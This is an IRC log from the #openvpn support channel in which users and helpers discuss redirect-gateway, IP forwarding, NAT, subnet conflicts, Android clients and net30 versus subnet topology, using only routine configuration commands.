00:47 -!- pagios__ [pagioss@gateway/shell/bnc4free/x-slnhdqbgwpntipic] has left #openvpn ["Leaving"]
00:53 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:53 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
01:00 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
01:09 -!- Varazir [~mircwars@c-94-255-129-205.cust.bredband2.com] has quit [Ping timeout: 248 seconds]
01:13 < ben1> !def1
01:13 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
01:14 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has quit [Quit: ZNC - http://znc.in]
01:14 < ben1> !ipforward
01:14 <@vpnHelper> "ipforward" is (#1) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall or (#2) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward
01:15 < ben1> !linipforward
01:15 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
01:15 < ben1> !nat
01:15 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !openvznat !winnat and !fbsdnat for specific howto
01:22 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
01:25 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
01:45 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:47 -!- svparijs_afk is now known as svparijs
01:56 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
02:23 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
02:24 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:41 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
02:43 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
02:44 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 264 seconds]
02:45 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
02:53 -!- jackbrown [~se@93-44-54-187.ip95.fastwebnet.it] has joined #openvpn
03:15 -!- defswork [~andy@141.0.50.105] has quit [Quit: Ex-Chat]
03:21 -!- crus [~crusader@2001:44b8:319e:2900:c1cc:a6cc:a762:f008] has joined #openvpn
03:23 -!- crus` [~crusader@2001:44b8:319e:2900:5db7:717b:785b:5557] has quit [Ping timeout: 246 seconds]
03:27 -!- jackbrown [~se@93-44-54-187.ip95.fastwebnet.it] has quit [Quit: Sto andando via]
03:47 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
03:58 -!- Denial [Denial@2.223.161.125] has joined #openvpn
04:08 -!- duoi [~duoi@46.21.151.107] has joined #openvpn
04:08 -!- duoi [~duoi@46.21.151.107] has quit [Changing host]
04:08 -!- duoi [~duoi@unaffiliated/duoi] has joined #openvpn
04:11 -!- mndo_ [~mndo@bl17-106-6.dsl.telepac.pt] has joined #openvpn
04:23 -!- hazza [~Harrison@198.143.0.217] has quit [Ping timeout: 246 seconds]
04:35 -!- hazza [~Harrison@198.143.0.217] has joined #openvpn
04:41 -!- hazza [~Harrison@198.143.0.217] has quit [Ping timeout: 252 seconds]
04:41 -!- svparijs is now known as svparijs_afk
04:50 -!- svparijs_afk is now known as svparijs
04:57 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
05:33 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
05:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:48 -!- TByte` [~AByte@46.227.51.110] has quit []
05:56 -!- Z-TechFourNine [~ma1com10t@host-92-20-11-49.as13285.net] has joined #openvpn
05:57 < Z-TechFourNine> morning: i have come across what looks like a typo in the manual but i would like to confirm:
05:57 < Z-TechFourNine> For example, --keepalive 10 60 expands as follows:
05:57 < Z-TechFourNine>                    if mode server:
05:57 < Z-TechFourNine>                      ping 10
05:57 < Z-TechFourNine>                      ping-restart 120
05:57 < Z-TechFourNine>                      push "ping 10"
05:57 < Z-TechFourNine>                      push "ping-restart 60"
05:57 < Z-TechFourNine>                    else
05:57 < Z-TechFourNine>                      ping 10
05:57 < Z-TechFourNine>                      ping-restart 60
05:57 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 260 seconds]
05:58 < Z-TechFourNine> ping restart for server is double the value of the command ?
05:58 < Z-TechFourNine> <Z-TechFourNine>                     ping-restart 120
06:05 -!- dazo_afk is now known as dazo
06:05 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
06:08 < plaisthos> Z-TechFourNine: look in the 2.3 man page it explained there
06:08  * Z-TechFourNine palms face
06:09 < Z-TechFourNine> so it is .. thanks
06:09 < Z-TechFourNine> i even had that page open ... gah ..
06:14 -!- duoi [~duoi@unaffiliated/duoi] has quit [Ping timeout: 252 seconds]
06:43 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
06:48 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
06:51 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
06:52 -!- Z-TechFourNine [~ma1com10t@host-92-20-11-49.as13285.net] has left #openvpn []
06:58 -!- jackbrown [~se@93-44-54-187.ip95.fastwebnet.it] has joined #openvpn
06:58 -!- natsukao_ [~natsukao@dynamic-adsl-94-37-153-251.clienti.tiscali.it] has quit [Ping timeout: 245 seconds]
07:06 -!- jackbrown [~se@93-44-54-187.ip95.fastwebnet.it] has quit [Quit: Sto andando via]
07:51 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
07:52 -!- eval- [uid16075@gateway/web/irccloud.com/x-ilqzgjlyxcpgsxnr] has quit [Quit: Connection closed for inactivity]
08:02 < elfixit> hi all
08:03 < elfixit> is there a equivalent for pushing routes with net_gateway for ipv6
08:04 < elfixit> for me this doesn't work, but is a really important feature
08:35 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Remote host closed the connection]
08:37 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn
08:37 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
08:41 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 252 seconds]
08:42 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
08:44 -!- takamich_ [~takamichi@85.12.8.14] has joined #openvpn
08:47 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 245 seconds]
08:54 -!- Semor [~Semor@218.106.182.104] has quit [Ping timeout: 264 seconds]
08:55 -!- Semor [~Semor@218.106.182.104] has joined #openvpn
08:59 -!- pepijndevos [~pepijndev@2a00:dcc0:eda:3754:247:55:9194:8ed6] has joined #openvpn
09:00 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
09:01 < pepijndevos> I want to do the easy-rsa setup on a, underpowered arm box. I would like to generate the keys on my beefy x64 machine, and copy them over. Which keys do I need to copy?
09:01 < pepijndevos> nvm, I can figure this out i think... hmmm
09:02 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
09:03 < pepijndevos> public-key is probably better than static key, no?
09:04 -!- jackbrown [~se@93-44-54-187.ip95.fastwebnet.it] has joined #openvpn
09:07 -!- takamich_ [~takamichi@85.12.8.14] has quit [Ping timeout: 248 seconds]
09:10 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:11 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
09:12 -!- gardar [~gardar@gardar.net] has quit [Excess Flood]
09:13 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
09:14 -!- gardar [~gardar@gardar.net] has joined #openvpn
09:16 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:19 -!- jackbrown [~se@93-44-54-187.ip95.fastwebnet.it] has quit [Quit: Sto andando via]
09:52 -!- mete [~mete@mete.shell.la] has quit [Quit: .]
09:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
09:53 -!- WinstonSmith_ [~WinstonSm@bl14-116-58.dsl.telepac.pt] has quit [Ping timeout: 252 seconds]
09:55 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has joined #openvpn
10:06 < pepijndevos> uhoh...
10:06 < pepijndevos> ERROR: Cannot open TUN/TAP dev /dev/net/tun: No such device (errno=19)
10:08 < rob0> "modprobe -v tun", offer void where taxed or prohibited, or where you don't have the tun module and modprobe(8) available.
10:10 < pepijndevos> I'm on archlinux
10:11 < pepijndevos> Ok, I just need to enable this
10:11 -!- mndo_ [~mndo@bl17-106-6.dsl.telepac.pt] has quit [Read error: Operation timed out]
10:13 < pepijndevos> uuhm... I don't know
10:13 < rob0> why did you disable it?
10:13 -!- svparijs [~svparijs@static.15.71.76.144.clients.your-server.de] has left #openvpn ["Leaving..."]
10:14 < pepijndevos> I did not
10:14 < rob0> who did?
10:14 < rob0> Are you using the distro-provided kernel?
10:14 < pepijndevos> noone did.
10:14 < pepijndevos> yes
10:14 < pepijndevos> and my config says CONFIG_TUN=m
10:15 < pepijndevos> but modprobe give exti code 1
10:15 < pepijndevos> no output
10:16 < rob0> -v had no output? Strange. Maybe you left off the -v? Look at the end of dmesg ("dmesg | tail").
10:16 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Read error: Connection reset by peer]
10:17 < pepijndevos> nothing in dmesg
10:17 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
10:17 -!- mndo_ [~mndo@bl17-106-6.dsl.telepac.pt] has joined #openvpn
10:17 < rob0> I guess -v has no output if the module is already loaded, but that wouldn't be exit 1.
10:17 < pepijndevos> adding more v's: modprobe: INFO: custom logging function 0x409c10 registered
10:17 < pepijndevos> modprobe: INFO: context 0x1b213f0 released
10:18 < pepijndevos> lsmod doesn;t show tun
10:19 < pepijndevos> I'll ask in #archlinux
10:22 -!- mete [~mete@mete.shell.la] has joined #openvpn
10:27 -!- mete [~mete@mete.shell.la] has quit [Quit: .]
10:32 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:33 -!- mete [~mete@mete.shell.la] has joined #openvpn
10:41 < pepijndevos> rob0, ok it works :)
10:42 < pepijndevos> Needed to reboot because of a kernel upgrade
10:42 < rob0> ah, good.
10:43 < pepijndevos> is that windows desktop client something with an icon my dd can click, or just a port of the linux command?
10:43 < pepijndevos> *dad
10:48 < rob0> I have no idea. I do not have Windows.
10:49 < rob0> oh, I do have an idea. The official openvpn.exe is indeed a CLI thing. You'd have to set up a shortcut or something.
10:49 -!- Azrael_- [~idjfiawej@adsl-84-226-104-200.adslplus.ch] has joined #openvpn
10:50 < Azrael_-> hi
10:50 < Azrael_-> is it possible to set up the openvpn configuration to force all client-traffic to go through the server? thus if the connection is set up, all the data of all programs will go through the vpn-channel?
10:50 <@dazo> !redirect
10:50 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
10:51 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
10:51 <@dazo> Azrael_-: ^^
10:51 < Azrael_-> THANKS!
10:51 < pepijndevos> rob0, ok. well, the third google result is a gui. I'll try that.
10:52 < bersace> Hi, i set up a VPN with dev tap. It runs well. The VPN client is an hypervisor. I want the hypervisor to share the tap iface with its VMs. But i don't get any DHCP offers. Do you have a clue ?
10:52 < bersace> the bridge is setup, libvirt created the VMs tap iface, but dhclient from the VM does not get the offer
10:52 < bersace> The hypervisors works fine, through the bridge :/
11:01 < bersace> ok, that looks like a DHCP issue
11:03 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:08 -!- master_o1_master [~master_of@p4FD7B2D4.dip0.t-ipconnect.de] has joined #openvpn
11:11 -!- master_of_master [~master_of@p4FD7B84F.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
11:31 -!- NEone [~NEone@unaffiliated/neone] has joined #openvpn
11:32 < NEone> Hi. Trying to setup openvpn client on a Android tablet. When trying to connect, I get "polarssl_digest_not_found: RSA-SHA512". How to fix that?
11:37 -!- Varazir [~mircwars@c-94-255-130-121.cust.bredband2.com] has joined #openvpn
11:38 < NEone> RSA-SHA512 is the tls auth I have setup on the server. Works fine when using Windows as a client. Just seems not to work with Android client?
11:40 <+pekster> NEone: PolarSSL builds don't support the full set of cipher-suites/ciphers/auth that OpenSSL does. THis said, the GPL app (see: !android) uses OpenSSL, not polarssl
11:41 <+pekster> Sounds like you didn't install OpenVPN at all but installed Connect (see: !connect) which is non-GPL
11:41 < NEone> !connect
11:41 <@vpnHelper> "connect" is (#1) OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide or (#2) https://forums.openvpn.net/post34969.html#p34969
11:41 < NEone> !android
11:41 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
11:42 <+pekster> Personally, I'd recommend avoiding RSA-SHA512; just use SHA512
11:43 < NEone> why? what's the difference between the two?
11:44 -!- kirin` [telex@gateway/shell/anapnea.net/x-shbzkmcsrgfuckyi] has joined #openvpn
11:50 <+pekster> As OpenVPN uses it, the security difference is identical. See RFC4051 for details (compare sections 2.1 with 2.3)
11:51 <+pekster> OpenVPN already includes an HMAC as part of the encryption process; including "another" HMAC in the signature step is redundant, and as you've discovered, not supported in non-OpenSSL implementations
12:17 < pepijndevos> I set up a VPN in a network of the 192.168.1.* kind. Unsurprisingly, the client is in the same range.
12:17 < pepijndevos> Is that a problem?
12:17 < pepijndevos> The IP the client gets from the server is of a completely different format.
12:18 <@dazo> pepijndevos: yes, that can be a problem
12:18 < pepijndevos> In which cases is it a problem? or just.. always?
12:20 <@dazo> pepijndevos: if the VPN range is the same range as your local LAN, that will be troublesome
12:20 < pepijndevos> ok
12:20 <+pekster> It's like having 2 "Main Street" roads in your town; you can't tell them apart
12:20 <@dazo> avoiding conflicting subnets is the most important thing ... the rest is pure routing
12:21 <+pekster> #include <impure-route.c>
12:22 <@dazo> s/c>/h>/ ;-)
12:26 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has quit [Ping timeout: 620 seconds]
12:55 -!- meepmeep [meepmeep@end.of.cylind.re] has quit [Quit: Yippee-kay-yay]
12:58 -!- piece3_ [~quassel@14.161.15.21] has quit [Remote host closed the connection]
12:59 -!- meepmeep [meepmeep@end.of.cylind.re] has joined #openvpn
13:12 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 260 seconds]
13:12 < pepijndevos> the speedtoch 780 doesn't seem to allow changing the dhcp ip range.
13:12 < pepijndevos> i can add a group...
13:12 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
13:12 < Azrael_-> !def1
13:12 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
13:13 -!- dazo is now known as dazo_afk
13:13 -!- mndo_ [~mndo@bl17-106-6.dsl.telepac.pt] has quit [Ping timeout: 264 seconds]
13:13 < pepijndevos> :|
13:14 < pepijndevos> !man
13:14 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
13:14 <+pekster> pepijndevos: Routing 101: you cannot have duplicate/overlapping network ranges in a single routing domain (the collection of networks that you are configuring)
13:14 -!- NEone [~NEone@unaffiliated/neone] has left #openvpn ["Leaving"]
13:14 <+pekster> How you avoid that is up to you, but generally speaking, using common RFC1918 networks on either your server-side network (when routing/bridging to it) or the routed VPN range is a Bad Idea
13:15 < pepijndevos> right. so I'm in trouble because the speedtouch is 192.168.1.* and cannot be changed, it seems
13:16 < pepijndevos> Maybe I can change the client range...
13:16 -!- sec^nd [~second@gateway/tor-sasl/sec0nd] has joined #openvpn
13:16 <+pekster> A) use a non-crappy product for your server-side network B) ensure that all possible client connections don't use that range C) use awful bi-directional NAT, either in the OS or f.ex see --client-nat D) don't route the LANs together
13:16 < pepijndevos> yea... A) would be nice
13:17 < pepijndevos> but it's home to home, so no classy server hardware I'm afraid.
13:17 <+pekster> Yes, I put 'A' first for a reason ;)
13:17 < sec^nd> Is there a good updated guide to setup OpenVPN so that I can forward my request when working remotly through the vpn (for security / privacy) and so that I can access the local network of both the host and other computers on the LAN?
13:17 <+pekster> I recommend openwrt if you're looking for a non-crappy SOHO solution
13:17 < pepijndevos> :)
13:17 < sec^nd> I would also like it to forward DNS request to the host computers dnsmasq server.
13:18 <+pekster> sec^nd: Start with the basic !howto to get the basic VPN working, then see !redirect
13:18 < pepijndevos> sec^nd, I used the Debian wiki page, which wroked for me.
13:18 < pepijndevos> https://wiki.debian.org/OpenVPN
13:18 <@vpnHelper> Title: OpenVPN - Debian Wiki (at wiki.debian.org)
13:19 <+pekster> Optionally there's info on _just_ routing to the serverlan at !serverlan, but only the return-routing is necessary if you want the server-side LAN to reach VPN clients
13:19 < sec^nd> I'm on archlinux
13:19 < sec^nd> !howto
13:19 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:19 <+pekster> YMMV, but we won't attempt to support unofficial guides or blogs here. Some are useful, but many are old/incorrect/unhelpful
13:20 < sec^nd> !redirect
13:20 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:20 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
13:20 -!- keithzg [~quassel@184.70.164.246] has quit [Remote host closed the connection]
13:27 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Quit: WeeChat 0.4.1]
13:27 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
13:31 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Client Quit]
13:40 < pepijndevos> so I'm trying to change the ip range on the client side. it has a DHCP first ip and pool size, a gateway, and "for nat usage" a first ip and subnet mask. Which ones do I need to change?
13:41 < pepijndevos> I don't want to have to reset this one as well, as I had on the server side after changing some numbers.
13:42 <+pekster> Consult your OS/vendor/appliance documentation for your own network, or try ##networking. That's unrelated to openvpn
13:42 < pepijndevos> okok
13:44 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:45 -!- SJr [~sjr@S010600fb42f573f0.vc.shawcable.net] has joined #openvpn
13:45 < SJr> Best OpenVPN app for Android?
13:45 < plaisthos> Mine!
13:46 < SJr> link?
13:46 < plaisthos> !android
13:46 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
13:56 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has quit [Remote host closed the connection]
13:57 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has joined #openvpn
13:57 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
13:57 < EugeneKay> We should really have a direct link to the app in Play
13:57 < EugeneKay> Especially as it does that nifty remote install thing
13:58 < EugeneKay> !whoami
13:58 <@vpnHelper> I don't recognize you.
13:58 < EugeneKay> Figures.
13:58 <+pekster> !learn android as Direct Play link: https://play.google.com/store/apps/details?id=de.blinkt.openvpn
13:58 <@vpnHelper> Joo got it.
13:59 -!- keithzg [~quassel@184.70.164.246] has joined #openvpn
13:59 < EugeneKay> That works too
14:01 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
14:02 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 246 seconds]
14:03 < EugeneKay> Relatedly: my openvpn shirt has come up to the top of the stack again
14:04 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
14:05 <+pekster> pop(shirt)
14:06 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 246 seconds]
14:06 < SJr> Wait does it?
14:06 < SJr> Oh right
14:06 < SJr> yeah wow that was super easy to use.
14:10 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 260 seconds]
14:14 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
14:16 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
14:19 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
14:21 < pepijndevos> I'm connected to the vpn server, but I can't reach any IPs on the server's lan.
14:24 < pepijndevos> For my understanding... the server has an ip like 192.168.1.67, but the vpn interface has an IP like 10.9.7.9. Is that correct, or should the client get an IP in hte server's range?
14:26 < EugeneKay> Yes, that's right
14:26 < EugeneKay> You need
14:26 < EugeneKay> !serverlan
14:26 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
14:26 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
14:29 < pepijndevos> so I need to add "push 192.168.1.0 255.255.255.0"  to the openvpn config on the server?
14:30 < pepijndevos> so that clients know that they can get 192.168.1.* addresses via the vpn interface
14:31 < EugeneKay> Yup.
14:31 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:31 < pepijndevos> ok, will try
14:31 < EugeneKay> But keep in mind that 192.168.0.0/22 or so are VERY overused, so perhaps you should renumber that subnet ;-)
14:32 < EugeneKay> Else you WILL run into a conflict
14:32 < pepijndevos> I know...
14:44 -!- billybigrigger [~billybigr@162.243.86.245] has joined #openvpn
14:44 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
14:47 < pepijndevos> <3 you all. my vpn works :)
14:52 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
14:53 -!- totaltec [totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has joined #openvpn
14:55 < billybigrigger> pepijndevos: wanna help me?
14:55 < billybigrigger> i think i've got a huge mess on my hands here
14:56 < billybigrigger> i could establish the basic VPN link no problem, but then i started trying to route traffic through the VPN and now it  seems broken, and i can't establish a link
15:20 <+pekster> billybigrigger: Read !welcome and maybe !new. Without knowing your !goal, I'm gussing you should read one or more of: !serverlan, !clientlan, or !redirect
15:29 < billybigrigger> im trying to route traffic through my vpn
15:30 < billybigrigger> everything seemed to have borked after i tried to edit iptables w/
15:30 < billybigrigger>     iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
15:40 -!- billybigrigger [~billybigr@162.243.86.245] has quit [Read error: Connection reset by peer]
15:43 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:48 -!- u0m3_ is now known as u0m3
15:49 -!- billybigrigger [~billybigr@162.243.86.245] has joined #openvpn
16:20 -!- speed_racer84 [~speed_rac@172.56.15.154] has joined #openvpn
16:24 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
16:25 < MagisterQuis> Is the iOS app broken?
16:25 <@krzee> ask a better question please
16:25 < MagisterQuis> Wow.
16:25 < MagisterQuis> Oh, I remember last time I was here.
16:26 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has left #openvpn []
16:26 <@krzee> lol
16:26 <@krzee> i guess expecting him to say what he is trying to do and how it fails is too much
16:32 -!- pizzaman` [~aljdf@162.243.33.26] has joined #openvpn
16:38 -!- Z-TechFourNine [~ma1com10t@host-92-20-11-49.as13285.net] has joined #openvpn
16:39 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 272 seconds]
16:40 < Z-TechFourNine> hi - is it possible to use tun net30 addresses starting at say 172.0.0.1/30 going up to 172.255.255.252/30 on one server instance ? by customising server ?
16:41 < Z-TechFourNine> or better yet 10.0.0.1/30 to 10.255.255.252/30
16:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:54 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
16:58 <+pekster> Z-TechFourNine: huh? 172.0.0.1/30 isn't a network; it's an IP on the network. See a description of the topology layouts here, and seriously consider if you should even be using net30:
16:58 <+pekster> !topology
16:58 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) details and examples at: https://community.openvpn.net/openvpn/wiki/Topology
16:58 <+pekster> See (#3) in particular
16:59 <+pekster> And yes, if you don't use the --server helper-directive you can set any IP on the server and define your own pool. But really net30 is a hack for 7-year-old versions of OpenVPN. Don't use it
17:00 < Z-TechFourNine> thanks pekster - i realise this is very odd way to do things and that it is ill advised .. but i just want to know if it is possible - i have basically got it working now
17:01 <+pekster> My point is you shouldn't even be using net30 unless you need it as described at that wiki link
17:01 <+pekster> Use topology subnet with tap instead
17:01 <+pekster> With tun*
17:02 < Z-TechFourNine> actually i should be using p2p as no windows
17:03 < Z-TechFourNine> will have to read up on that
17:09 -!- hirogen [~peeepp@0547936d.skybroadband.com] has joined #openvpn
17:10 < Z-TechFourNine> unfortunately this really is a hack to try to get around a routing limitation in linux/iproute2 252 tables .. but i think it is a lost cause
17:11 -!- speed_racer84 [~speed_rac@172.56.15.154] has quit [Ping timeout: 246 seconds]
17:16 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
17:19 -!- totaltec [totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 272 seconds]
17:30 -!- Cubox is now known as Ceasium
17:34 < Z-TechFourNine> Sorry to bug you pekster - i have a really stupid question and i understand if you choose not to answer - put simply with a reasonably moderate linux server could i run say 2000 separate instances of openvpn on one machine ?
17:37 <+pekster> I've run 1k on somewhat dated hardware by today's standards; if you do "nothing" with a connected client, it's only eating some RAM, a bit of CPU (& bw) during TLS negotiations, and any TLS traffic, like keepalives
17:38 <+pekster> That's assuming no data transport, of course, where is where the "first" bottleneck people usually reach is it
17:38 <+pekster> hit*
17:40 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
17:40 <@krzee> i just read topology and i think i learned something
17:40 <@krzee> topology p2p can be 1 to many?  as in 1 server and many clients?
17:41 < Z-TechFourNine> yep
17:41 <+pekster> No
17:41 <@krzee> oh ok i didnt think so, the Topology link says otherwise
17:41 < Z-TechFourNine> ?
17:41 <+pekster> Your clients are p2p, but the server _must_ be `mode server` which requires either topology subnet or net30 (or of course tap)
17:42 <+pekster> krzee: Oh, you're rigth; the intro text there needs to be updated to indicate this is about topologies in general, not P2MP mode servers
17:43 < Z-TechFourNine> what about the p2p example
17:43 < Z-TechFourNine> --dev tun
17:43 < Z-TechFourNine> --topology p2p
